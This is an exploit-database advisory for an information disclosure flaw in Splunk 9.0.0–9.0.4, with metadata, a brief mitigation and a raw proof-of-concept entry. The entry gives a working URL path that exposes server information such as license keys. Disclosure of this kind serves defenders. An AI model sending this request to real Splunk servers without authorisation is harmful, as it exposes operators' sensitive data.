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vendor:
Splunk
by:
Parsa Rezaie Khiabanloo
4.1
CVSS
MEDIUM
Information Disclosure
200
CWE
Product Name: Splunk
Affected Version From: 9.0.0
Affected Version To: 9.0.4
Patch Exists: NO
Related CWE:
CPE: a:splunk:splunk:9.0.4
Metasploit:
Other Scripts:
Platforms Tested: Windows
2023

Splunk 9.0.4 – Information Disclosure

Splunk version 9.0.4 is vulnerable to an information disclosure exploit. By appending /__raw/services/server/info/server-info?output_mode=json to a query, attackers can access sensitive information such as license keys.

Mitigation:

To mitigate this issue, restrict access to the vulnerable endpoint and consider upgrading to a patched version if available.
Source

Exploit-DB raw data:

# Exploit Title: Splunk 9.0.4 - Information Disclosure
# Date: 2023-09-18
# Exploit Author: Parsa rezaie khiabanloo
# Vendor Homepage: https://www.splunk.com/
# Version: 9.0.4 
# Tested on: Windows OS

# Splunk through 9.0.4  allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.

# PoC :

https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json